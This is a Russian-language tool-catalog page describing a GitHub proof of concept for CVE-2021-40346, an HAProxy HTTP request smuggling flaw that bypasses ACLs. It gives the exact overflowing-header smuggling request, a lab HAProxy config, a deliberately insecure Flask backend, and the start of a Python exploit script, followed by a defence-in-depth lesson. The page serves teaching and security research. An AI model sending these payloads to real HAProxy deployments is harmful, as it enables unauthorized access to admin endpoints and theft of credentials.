Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
Инструменты/GitHubGitHub/boianeduard/cve-2021-40346
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

Репозиторий
16 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-40346: HTTP-контрабанда запросов HAProxy - обход ACL

Обзор

Этот проект демонстрирует CVE-2021-40346, критическую уязвимость целочисленного переполнения в HAProxy, которая позволяет проводить атаки HTTP-контрабанды запросов для обхода средств защиты.

Оценка CVSSv3: 7.5 (Высокая)

Авторы:

  1. Boian Eduard
  2. Borsos Matheas-Roland

Что такое CVE-2021-40346?

CVE-2021-40346 — это уязвимость целочисленного переполнения в логике разбора HTTP-заголовков HAProxy. Когда имя заголовка превышает 255 байт, значение длины переполняется из 8-битного поля, что заставляет HAProxy неправильно интерпретировать заголовок при пересылке запроса.

Как работает атака

Пошаговое описание

  1. Злоумышленник отправляет: Имя заголовка = "Content-Length0" + 255×'a' = 270 байт

  2. Фаза 1 (начальный разбор):

    • HAProxy считывает все 270 байт имени заголовка
    • Сохраняет name_length = 270 % 256 = 14 (8-битное переполнение)
    • Бит переполнения устанавливает value_length = 1
    • Считывает легитимный заголовок Content-Length: 60 и интерпретирует его как длину тела
    • Считывает 60 байт как тело запроса (содержащее контрабандный запрос)
  3. Фаза 2 (пересылка запроса):

    • Встречает блок переполненного заголовка
    • Считывает только первые 14 символов: "Content-Length"
    • Считывает 1 символ для значения (на позиции 14): "0"
    • Добавляет content-length: 0 к пересылаемому запросу
    • Игнорирует реальный заголовок Content-Length: 60 (согласно обычной логике)
  4. Обработка бэкендом:

    • Получает content-length: 0 от HAProxy
    • Разбирает POST-запрос без тела
    • Рассматривает "тело" (контрабандный GET-запрос) как следующий HTTP-запрос
    • Обрабатывает контрабандный запрос, обходя все ACL HAProxy

Пример потока атаки

Обход правил ACL для доступа к конечной точке администратора

Рассмотрим HAProxy, настроенный с правилами ACL, которые ограничивают доступ к маршрутам администратора:

http-request deny if { path_beg /users/admin }

В нашем PoC мы используем сессию обычного пользователя (alice) для доступа к защищенному конечному пункту /users/admin, который должен быть доступен только администраторам.

Вредоносный запрос (Request 1 - Poison):

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Запрос, пересылаемый HAProxy:

POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Завершающий запрос (Request 2):

GET / HTTP/1.1
Host: 127.0.0.1:8080

Полный контрабандный запрос, обрабатываемый бэкендом:

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

Результат:

  1. HAProxy пересылает POST / с content-length: 0 (ACL видит безопасный маршрут)
  2. Бэкенд обрабатывает POST / (без тела) и ожидает следующий запрос
  3. Бэкенд рассматривает неполный контрабандный GET /users/admin как ожидающий запрос
  4. Запрос 2 завершает контрабандный запрос
  5. Бэкенд обрабатывает GET /users/admin с сессией alice, обходя ACL HAProxy
  6. Ответ, содержащий секреты администратора, возвращается злоумышленнику

Доказательство концепции

Настройка тестового окружения

Конфигурация HAProxy (haproxy.cfg)

Уязвимый экземпляр HAProxy настроен с правилами ACL для защиты конечной точки администратора:

...
    # ACL to detect admin endpoint access
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL to check for admin session cookie
    acl has_admin_session cook(session) -m beg admin_
    
    # Deny access to admin endpoint if user doesn't have admin session
    http-request deny if is_admin_endpoint !has_admin_session
...

Ключевые моменты:

  • Защита ACL: /users/admin заблокирован, если cookie сессии не начинается с admin_
  • HTTP Keep-Alive (по умолчанию): HAProxy по умолчанию использует режим keep-alive, повторно используя TCP-соединения с бэкендом — это критично для атаки, так как позволяет отправлять несколько запросов по одному соединению
  • Контроль доступа на основе сессий: Обычным пользователям (сессия, начинающаяся с user_) доступ запрещен

Сервер бэкенда (Flask)

Сервер бэкенда имеет трех пользователей и конечную точку администратора:

USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... authentication logic ...
    
    # Generate session token with role prefix
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Returns sensitive data including all user passwords
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

Модель безопасности:

  • Alice (обычный пользователь) получает сессию: user_a1b2c3d4...
  • Admin получает сессию: admin_a1b2c3d4...
  • HAProxy блокирует запросы alice к /users/admin
  • Неправильная конфигурация бэкенда: Flask-сервер слепо доверяет, что HAProxy уже применил контроль доступа, и не проверяет повторно токен сессии и не проверяет, является ли пользователь действительно администратором, перед предоставлением конфиденциальных данных
  • Уязвимость: HTTP-контрабанда обходит проверку ACL HAProxy, а бэкенд не имеет эшелонированной защиты

Почему это работает:

  1. HAProxy видит внешний запрос POST / (разрешен)
  2. HAProxy проверяет ACL для POST / (нет ограничений администратора)
  3. HAProxy пересылает content-length: 0 (из-за ошибки переполнения)
  4. Бэкенд получает неполный запрос GET /users/admin
  5. Второй запрос завершает его, обходя проверку ACL HAProxy
  6. Бэкенд слепо обслуживает конечную точку администратора — он никогда не проверяет, является ли токен сессии токеном администратора
  7. Бэкенд напрямую обрабатывает GET /users/admin, раскрывая пароли

Урок по эшелонированной защите: Это демонстрирует, почему бэкенды никогда не должны слепо доверять прокси. Даже при наличии ACL HAProxy бэкенд должен:

  • Самостоятельно анализировать и проверять токен сессии
  • Проверять роль/права пользователя перед предоставлением доступа к конфиденциальным конечным точкам
  • Реализовывать собственную логику авторизации (например, декоратор @require_admin)

Исключительная зависимость от контроля доступа на уровне прокси создает единую точку отказа.

Ключевые последовательности эксплойта

PoC демонстрирует обход ACL HAProxy для доступа к /users/admin с использованием сессии обычного пользователя через четыре ключевых шага:

1. Аутентификация как обычный пользователь

# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
Скачать инструмент